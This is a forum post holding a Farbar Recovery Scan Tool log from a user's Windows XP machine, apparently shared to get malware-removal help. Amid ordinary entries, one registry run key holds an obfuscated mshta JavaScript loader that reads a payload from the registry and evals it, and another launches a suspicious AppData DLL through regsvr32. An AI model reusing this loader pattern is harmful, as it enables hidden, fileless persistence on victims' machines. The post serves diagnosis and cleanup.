TechSpot

FRST Log

By Geny Baker
Nov 14, 2015
  1. Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version:07-11-2015
    Ran by Geny (administrator) on GENY-380 (14-11-2015 20:31:57)
    Running from D:\My Docs\Downloads
    Loaded Profiles: Geny (Available Profiles: Geny)
    Platform: Microsoft Windows XP Professional Service Pack 3 (X86) Language: English (United States)
    Internet Explorer Version 8 (Default browser: IE)
    Boot Mode: Normal
    Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

    ==================== Processes (Whitelisted) =================

    (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

    (AVG Technologies CZ, s.r.o.) C:\PROGRA~1\AVG\Av\avgrsx.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Av\avgcsrvx.exe
    () C:\WINDOWS\system32\WLTRYSVC.EXE
    (Dell Inc.) C:\WINDOWS\system32\BCMWLTRY.EXE
    (Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Av\avgidsagent.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Framework\Common\avgsvcx.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Av\avgwdsvcx.exe
    (Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
    (Fitbit, Inc.) C:\Program Files\Fitbit Connect\FitbitConnectService.exe
    (Google Inc.) C:\Program Files\Google\Update\1.3.28.15\GoogleCrashHandler.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Av\avgnsx.exe
    (Microsoft Corporation) C:\WINDOWS\system32\dllhost.exe
    (Realtek Semiconductor Corp.) C:\WINDOWS\RTDCPL.EXE
    (Intel Corporation) C:\WINDOWS\system32\hkcmd.exe
    (Intel Corporation) C:\WINDOWS\system32\igfxsrvc.exe
    (Intel Corporation) C:\WINDOWS\system32\igfxpers.exe
    (Dell Inc.) C:\WINDOWS\system32\WLTRAY.EXE
    (CyberLink Corp.) C:\Program Files\PowerDVD DX\PDVDDXSrv.exe
    (Citrix Systems, Inc.) C:\Program Files\Citrix\ICA Client\concentr.exe
    (Microsoft Corporation) C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe
    (Citrix Systems, Inc.) C:\Program Files\Citrix\ICA Client\wfcrun32.exe
    (Nero AG) C:\Program Files\Nero\Nero8\Nero BackItUp\NBService.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Av\avgui.exe
    (Logitech, Inc.) C:\Program Files\Logitech\SetPointP\SetPoint.exe
    (Prolific Technology Inc.) C:\WINDOWS\system32\IoctlSvc.exe
    (Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
    (Logitech, Inc.) C:\Program Files\Common Files\logishrd\KHAL3\KHALMNPR.exe
    (Apple Inc.) C:\Program Files\iTunes\iTunesHelper.exe
    (AVG Technologies CZ, s.r.o.) C:\Program Files\AVG\Framework\Common\avguix.exe
    (Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
    (Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
    (Microsoft Corporation) C:\WINDOWS\system32\dllhost.exe
    (Microsoft Corporation) C:\WINDOWS\system32\cmd.exe
    (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
    (Microsoft Corporation) C:\WINDOWS\system32\PresentationHost.exe
    (Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
    (Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
    (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
    (Microsoft Corporation) C:\WINDOWS\system32\dllhost.exe
    (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
    (Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
    (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
    (Google Inc.) C:\Program Files\Google\Chrome\Application\chrome.exe
    (Microsoft Corporation) C:\WINDOWS\system32\dllhost.exe
    (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe


    ==================== Registry (Whitelisted) ===========================

    (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

    HKLM\...\Run: [RTHDCPL] => C:\WINDOWS\RTDCPL.EXE [2691072 2009-08-26] (Realtek Semiconductor Corp.)
    HKLM\...\Run: [Broadcom Wireless Manager UI] => C:\WINDOWS\system32\WLTRAY.exe [2498560 2010-03-30] (Dell Inc.)
    HKLM\...\Run: [PDVDDXSrv] => C:\Program Files\PowerDVD DX\PDVDDXSrv.exe [128232 2009-09-11] (CyberLink Corp.)
    HKLM\...\Run: [NeroFilterCheck] => C:\Program Files\Common Files\Nero\Lib\NeroCheck.exe [570664 2008-04-28] (Nero AG)
    HKLM\...\Run: [NBKeyScan] => C:\Program Files\Nero\Nero8\Nero BackItUp\NBKeyScan.exe [2221352 2008-02-18] (Nero AG)
    HKLM\...\Run: [ConnectionCenter] => C:\Program Files\Citrix\ICA Client\concentr.exe [300472 2010-05-12] (Citrix Systems, Inc.)
    HKLM\...\Run: [GrooveMonitor] => C:\Program Files\Microsoft Office\Office12\GrooveMonitor.exe [30040 2009-02-26] (Microsoft Corporation)
    HKLM\...\Run: [APSDaemon] => C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2015-03-20] (Apple Inc.)
    HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [958576 2013-04-04] (Adobe Systems Incorporated)
    HKLM\...\Run: [AVG_UI] => C:\Program Files\AVG\Av\avgui.exe [3826600 2015-10-30] (AVG Technologies CZ, s.r.o.)
    HKLM\...\Run: [EvtMgr6] => C:\Program Files\Logitech\SetPointP\SetPoint.exe [2296600 2013-07-31] (Logitech, Inc.)
    HKLM\...\Run: [QuickTime Task] => C:\Program Files\QuickTime\qttask.exe [421888 2014-10-02] (Apple Inc.)
    HKLM\...\Run: [iTunesHelper] => C:\Program Files\iTunes\iTunesHelper.exe [157480 2015-04-06] (Apple Inc.)
    HKLM\...\Run: [AvgUi] => C:\Program Files\AVG\Framework\Common\avguix.exe [1130408 2015-10-16] (AVG Technologies CZ, s.r.o.)
    Winlogon\Notify\LBTWlgn: c:\program files\common files\logishrd\bluetooth\LBTWlgn.dll [2013-06-13] (Logitech, Inc.)
    HKLM\...\Policies\Explorer\Run: [**27da8125<*>] => mshta javascript:ZXCBOya0="kcWtjWWr7";S2a1=new%20ActiveXObject("WScript.Shell");kmdIO6x7e="3P3p1lzn";cue5X8=S2a1.RegRead("HKLM\\software\\056439a146\\8c68058d");XfgI4iLgH="vPeg49";eval(cue5X8);LJ9JHh7 (the data entry has 11 more characters). <===== ATTENTION (Value Name with invalid characters)
    HKLM\...\Policies\Explorer: [NoCDBurning] 0
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [Google Update] => C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\GoogleUpdate.exe [107912 2014-10-22] (Google Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [swg] => C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe [39408 2010-11-07] (Google Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [AdobeBridge] => [X]
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [ROC_ROC_APR2013_AV] => C:\Documents and Settings\Geny\Application Data\AVG April 2013 Campaign\AVG-Secure-Search-Update.exe /PROMPT --mid f48fdd4ec99747d0be2cd16c22205815-8c828015d3fdf0ecc5373bcc2149ea8f601d3340 --CMPID ROC (the data entry has 29 more characters).
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [AVG-Secure-Search-Update_0913a] => C:\Documents and Settings\Geny\Application Data\AVG 0913a Campaign\AVG-Secure-Search-Update-0913a.exe /PROMPT --mid f48fdd4ec99747d0be2cd16c22205815-8c828015d3fdf0ecc5373bcc2149ea8f601d3340 --CMPID 09 (the data entry has 3 more characters).
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [AVG-Secure-Search-Update_1113a] => C:\Documents and Settings\Geny\Application Data\AVG 1113a Campaign\AVG-Secure-Search-Update-1113a.exe /PROMPT /mid=f48fdd4ec99747d0be2cd16c22205815-8c828015d3fdf0ecc5373bcc2149ea8f601d3340 /CMPID=1113 (the data entry has 1 more characters).
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [uTorrent] => C:\Documents and Settings\Geny\Application Data\uTorrent\uTorrent.exe [1822048 2015-10-13] (BitTorrent Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [QuickTime Task] => C:\Program Files\QuickTime\qttask.exe [421888 2014-10-02] (Apple Inc.)
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\Run: [{F9D772C4-AD01-40E2-BACC-F7300FE9592E}] => regsvr32.exe "C:\Documents and Settings\Geny\Application Data\Quyitv\CofeDxun.dll"
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\MountPoints2: {4eee6362-2ae8-11e0-9d51-002564c4b1e6} - G:\setupSNK.exe
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\...\MountPoints2: {b5ec1652-5a4f-11df-9d22-002564c4b1e6} - F:\LaunchU3.exe -a
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\scrnsave.scr [9216 2008-04-14] (Microsoft Corporation)
    BootExecute: autocheck autochk * C:\PROGRA~1\AVG\Av\avgrsx.exe /sync /restart

    ==================== Internet (Whitelisted) ====================

    (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

    Winsock: Catalog5 04 C:\Program Files\Bonjour\mdnsNSP.dll [121704 2011-08-30] (Apple Inc.)
    Tcpip\Parameters: [DhcpNameServer] 192.168.0.1 205.171.2.65
    Tcpip\..\Interfaces\{7203B3FB-70D8-4079-B244-FA1D5DDCC534}: [DhcpNameServer] 192.168.0.1 205.171.2.65

    Internet Explorer:
    ==================
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.facebook.com/
    HKU\S-1-5-21-1454471165-790525478-1801674531-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
    URLSearchHook: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 - Zynga Toolbar - {7b13ec3e-999a-4b70-b9cb-2617b8323822} - C:\Program Files\Zynga\prxtbZyn0.dll (Conduit Ltd.)
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> DefaultScope {EAF435F9-2BE3-42DD-B5F5-2785466D295F} URL = hxxp://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}&rlz=1I7ADFA_enUS404
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> {91D0C420-E910-4A17-BE98-51976FED3BC7} URL = hxxp://en.wikipedia.org/wiki/Special:Search?search={searchTerms}
    SearchScopes: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> {EAF435F9-2BE3-42DD-B5F5-2785466D295F} URL = hxxp://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}&rlz=1I7ADFA_enUS404
    BHO: ContributeBHO Class -> {074C1DC5-9320-4A9A-947D-C042949C6216} -> C:\Program Files\Adobe\/Adobe Contribute CS4/contributeieplugin.dll [2008-09-10] (Adobe Systems Incorporated.)
    BHO: Adobe PDF Link Helper -> {18DF081C-E8AD-4283-A596-FA578C2EBDC3} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll [2012-01-03] (Adobe Systems Incorporated)
    BHO: AVG Safe Search -> {3CA2F312-6F6E-4B53-A66E-4E65E497C8C0} -> C:\Program Files\AVG\AVG2012\avgssie.dll => No File
    BHO: No Name -> {5C255C8A-E604-49b4-9D64-90988571CECB} -> No File
    BHO: Groove GFS Browser Helper -> {72853161-30C5-4D22-B7F9-0BBC1D38A37E} -> C:\Program Files\Microsoft Office\Office12\GrooveShellExtensions.dll [2009-02-26] (Microsoft Corporation)
    BHO: Zynga Toolbar -> {7b13ec3e-999a-4b70-b9cb-2617b8323822} -> C:\Program Files\Zynga\prxtbZyn0.dll [2013-07-09] (Conduit Ltd.)
    BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2009-03-30] (Microsoft Corporation)
    BHO: Google Toolbar Helper -> {AA58ED58-01DD-4d91-8333-CF10577473F7} -> C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    BHO: Adobe PDF Conversion Toolbar Helper -> {AE7CD045-E861-484f-8273-0445EE161910} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    BHO: Windows Live Toolbar Helper -> {E15A8DC0-8516-42A1-81EA-DC94EC1ACF10} -> C:\Program Files\Windows Live\Toolbar\wltcore.dll [2009-02-06] (Microsoft Corporation)
    BHO: SmartSelect Class -> {F4971EE7-DAA0-4053-9964-665D8EE6A077} -> C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKLM - Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKLM - Contribute Toolbar - {517BDDE4-E3A7-4570-B21E-2B52B6139FC7} - C:\Program Files\Adobe\/Adobe Contribute CS4/contributeieplugin.dll [2008-09-10] (Adobe Systems Incorporated.)
    Toolbar: HKLM - &Windows Live Toolbar - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - C:\Program Files\Windows Live\Toolbar\wltcore.dll [2009-02-06] (Microsoft Corporation)
    Toolbar: HKLM - Zynga Toolbar - {7b13ec3e-999a-4b70-b9cb-2617b8323822} - C:\Program Files\Zynga\prxtbZyn0.dll [2013-07-09] (Conduit Ltd.)
    Toolbar: HKLM - Google Toolbar - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> Adobe PDF - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEFavClient.dll [2013-05-08] (Adobe Systems Incorporated)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> &Windows Live Toolbar - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - C:\Program Files\Windows Live\Toolbar\wltcore.dll [2009-02-06] (Microsoft Corporation)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> Zynga Toolbar - {7B13EC3E-999A-4B70-B9CB-2617B8323822} - C:\Program Files\Zynga\prxtbZyn0.dll [2013-07-09] (Conduit Ltd.)
    Toolbar: HKU\S-1-5-21-1454471165-790525478-1801674531-1003 -> Google Toolbar - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - C:\Program Files\Google\Google Toolbar\GoogleToolbar_32.dll [2015-09-23] (Google Inc.)
    DPF: {32C3FEAE-0877-4767-8C20-62A5829A0945} hxxp://static.ak.facebook.com/fbplugin/win32/axfbootloader.cab?1270703312359
    DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} hxxp://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1269983539687
    DPF: {E2883E8F-472F-4FB0-9522-AC9BF37916A7} hxxp://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cab
    Handler: grooveLocalGWS - {88FED34C-F0CA-4636-A375-3CB6248B04CD} - C:\Program Files\Microsoft Office\Office12\GrooveSystemServices.dll [2009-02-26] (Microsoft Corporation)
    Handler: linkscanner - {F274614C-63F8-47D5-A4D1-FBDDE494F8D1} - C:\Program Files\AVG\AVG2012\avgpp.dll No File
    Handler: livecall - {828030A1-22C1-4009-854F-8E305202313F} - C:\Program Files\Windows Live\Messenger\msgrapp.14.0.8089.0726.dll [2009-07-26] (Microsoft Corporation)
    Handler: msnim - {828030A1-22C1-4009-854F-8E305202313F} - C:\Program Files\Windows Live\Messenger\msgrapp.14.0.8089.0726.dll [2009-07-26] (Microsoft Corporation)
    Filter: application/x-ica - {CFB6322E-CC85-4d1b-82C7-893888A236BC} - C:\Program Files\Citrix\ICA Client\IcaMimeFilter.dll [2010-05-12] (Citrix Systems, Inc.)
    Filter: ica - {CFB6322E-CC85-4d1b-82C7-893888A236BC} - C:\Program Files\Citrix\ICA Client\IcaMimeFilter.dll [2010-05-12] (Citrix Systems, Inc.)

    FireFox:
    ========
    FF ProfilePath: C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default
    FF DefaultSearchEngine: Google
    FF DefaultSearchEngine.US: Google
    FF Homepage: hxxps://www.lds.org/
    FF Keyword.URL:
    FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF32_19_0_0_226.dll [2015-10-28] ()
    FF Plugin: @Apple.com/iTunes,version=1.0 -> C:\Program Files\iTunes\Mozilla Plugins\npitunes.dll [2014-10-30] ()
    FF Plugin: @Google.com/GoogleEarthPlugin -> C:\Program Files\Google\Google Earth\plugin\npgeplugin.dll [2013-10-07] (Google)
    FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll [2014-05-13] ( Microsoft Corporation)
    FF Plugin: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
    FF Plugin: @microsoft.com/WLPG,version=14.0.8081.0709 -> C:\Program Files\Windows Live\Photo Gallery\NPWLPG.dll [2009-07-10] (Microsoft Corporation)
    FF Plugin: @microsoft.com/WPF,version=3.5 -> C:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\NPWPF.dll [2008-07-29] (Microsoft Corporation)
    FF Plugin: @tools.google.com/Google Update;version=3 -> C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-23] (Google Inc.)
    FF Plugin: @tools.google.com/Google Update;version=9 -> C:\Program Files\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-23] (Google Inc.)
    FF Plugin: Adobe Acrobat -> C:\Program Files\Adobe\Acrobat 9.0\Acrobat\Air\nppdf32.dll [2013-05-08] (Adobe Systems Inc.)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @facebook.com/FBPlugin,version=1.0.3 -> C:\Documents and Settings\Geny\Application Data\Facebook\npfbplugin_1_0_3.dll [2010-03-05] ( )
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @talk.google.com/GoogleTalkPlugin -> C:\Documents and Settings\Geny\Application Data\Mozilla\plugins\npgoogletalk.dll [2014-10-03] (Google)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @talk.google.com/O1DPlugin -> C:\Documents and Settings\Geny\Application Data\Mozilla\plugins\npo1d.dll [2014-10-03] (Google)
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=3 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    FF Plugin HKU\S-1-5-21-1454471165-790525478-1801674531-1003: @tools.google.com/Google Update;version=9 -> C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Update\1.3.24.15\npGoogleUpdate3.dll [No File]
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\CCMSDK.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\cgpcfg.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\CgpCore.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\confmgr.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\ctxlogging.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\ctxmui.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\icafile.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\icalogon.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npCouponPrinter.dll [2009-11-19] (Coupons, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npicaN.dll [2010-05-12] ()
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npMozCouponPrinter.dll [2009-11-19] (Coupons, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\nppdf32.dll [2013-05-08] (Adobe Systems Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin2.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin3.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin4.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin5.dll [2015-02-12] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin6.dll [2012-11-15] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\npqtplugin7.dll [2012-11-15] (Apple Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\sslsdk_b.dll [2010-04-14] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Program Files\mozilla firefox\plugins\TcpPServ.dll [2010-05-12] (Citrix Systems, Inc.)
    FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\Geny\Application Data\mozilla\plugins\npgoogletalk.dll [2014-10-03] (Google)
    FF Plugin ProgramFiles/Appdata: C:\Documents and Settings\Geny\Application Data\mozilla\plugins\npo1d.dll [2014-10-03] (Google)
    FF Extension: Garmin Communicator - C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\Extensions\{195A3098-0BD5-4e90-AE22-BA1C540AFD1E} [2015-05-30]
    FF Extension: Microsoft .NET Framework Assistant - C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\Extensions\{20a82645-c095-46ed-80e3-08825760534b} [2010-05-29] [not signed]
    FF Extension: Zynga - C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\Extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822} [2015-07-15] [not signed]
    FF HKLM\...\Firefox\Extensions: [{20a82645-c095-46ed-80e3-08825760534b}] - c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension
    FF Extension: Microsoft .NET Framework Assistant - c:\WINDOWS\Microsoft.NET\Framework\v3.5\Windows Presentation Foundation\DotNetAssistantExtension [2010-03-30] [not signed]
    FF ExtraCheck: C:\Program Files\mozilla firefox\defaults\pref\itms.js [2014-10-08]

    Chrome:
    =======
    CHR StartupUrls: Default -> "hxxps://www.lds.org/?lang=eng"
    CHR Profile: C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default
    CHR Extension: (Google Slides) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-05-02]
    CHR Extension: (Google Docs) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-05-02]
    CHR Extension: (Google Drive) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-26]
    CHR Extension: (YouTube) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-26]
    CHR Extension: (Google Search) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-29]
    CHR Extension: (Google Sheets) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-05-02]
    CHR Extension: (Google Docs Offline) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-09-12]
    CHR Extension: (Chrome Web Store Payments) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-08-20]
    CHR Extension: (Gmail) - C:\Documents and Settings\Geny\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-05-02]

    ==================== Services (Whitelisted) ========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    S3 Adobe Version Cue CS4; C:\Program Files\Common Files\Adobe\Adobe Version Cue CS4\Server\bin\VersionCueCS4.exe [288112 2010-03-31] (Adobe Systems Incorporated)
    S3 AvgAMPS; C:\Program Files\AVG\Av\avgamps.exe [595376 2015-10-30] (AVG Technologies CZ, s.r.o.)
    R2 AVGIDSAgent; C:\Program Files\AVG\Av\avgidsagent.exe [3815648 2015-10-30] (AVG Technologies CZ, s.r.o.)
    R2 avgsvc; C:\Program Files\AVG\Framework\Common\avgsvcx.exe [862632 2015-10-16] (AVG Technologies CZ, s.r.o.)
    R2 avgwd; C:\Program Files\AVG\Av\avgwdsvcx.exe [579776 2015-10-30] (AVG Technologies CZ, s.r.o.)
    R2 Fitbit Connect; C:\Program Files\Fitbit Connect\FitbitConnectService.exe [1435680 2014-01-10] (Fitbit, Inc.) [File not signed]
    S2 HPSupportSolutionsFrameworkService; C:\Program Files\Hp\Common\HPSupportSolutionsFrameworkService.exe [89840 2015-03-28] (Hewlett-Packard Company)
    R2 Net Driver HPZ12; C:\WINDOWS\system32\HPZinw12.dll [44032 2009-05-14] (Hewlett-Packard) [File not signed]
    R2 PLFlash DeviceIoControl Service; C:\WINDOWS\system32\IoctlSvc.exe [81920 2006-12-19] (Prolific Technology Inc.) [File not signed]
    R2 Pml Driver HPZ12; C:\WINDOWS\system32\HPZipm12.dll [53760 2009-05-14] (Hewlett-Packard) [File not signed]
    R2 wltrysvc; C:\WINDOWS\System32\bcmwltry.exe [2232320 2010-03-30] (Dell Inc.) [File not signed]

    ===================== Drivers (Whitelisted) ==========================

    (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

    R1 Avgdiskx; C:\WINDOWS\System32\DRIVERS\avgdiskx.sys [156080 2015-08-10] (AVG Technologies CZ, s.r.o.)
    R1 AVGIDSDriverl; C:\WINDOWS\System32\DRIVERS\avgidsdriverlx.sys [243632 2015-10-19] (AVG Technologies CZ, s.r.o.)
    R0 AVGIDSHX; C:\WINDOWS\System32\DRIVERS\avgidshx.sys [231344 2015-08-20] (AVG Technologies CZ, s.r.o.)
    R1 AVGIDSShim; C:\WINDOWS\System32\DRIVERS\avgidsshimx.sys [31664 2015-08-14] (AVG Technologies CZ, s.r.o.)
    R1 Avgldx86; C:\WINDOWS\System32\DRIVERS\avgldx86.sys [229296 2015-10-21] (AVG Technologies CZ, s.r.o.)
    R0 Avglogx; C:\WINDOWS\System32\DRIVERS\avglogx.sys [308656 2015-08-14] (AVG Technologies CZ, s.r.o.)
    R0 Avgmfx86; C:\WINDOWS\System32\DRIVERS\avgmfx86.sys [192944 2015-10-21] (AVG Technologies CZ, s.r.o.)
    R0 Avgrkx86; C:\WINDOWS\System32\DRIVERS\avgrkx86.sys [36784 2015-08-10] (AVG Technologies CZ, s.r.o.)
    R1 Avgtdix; C:\WINDOWS\System32\DRIVERS\avgtdix.sys [231856 2015-10-08] (AVG Technologies CZ, s.r.o.)
    S3 BCM43XX; C:\WINDOWS\System32\DRIVERS\bcmwl5.sys [2649216 2010-03-30] (Broadcom Corporation)
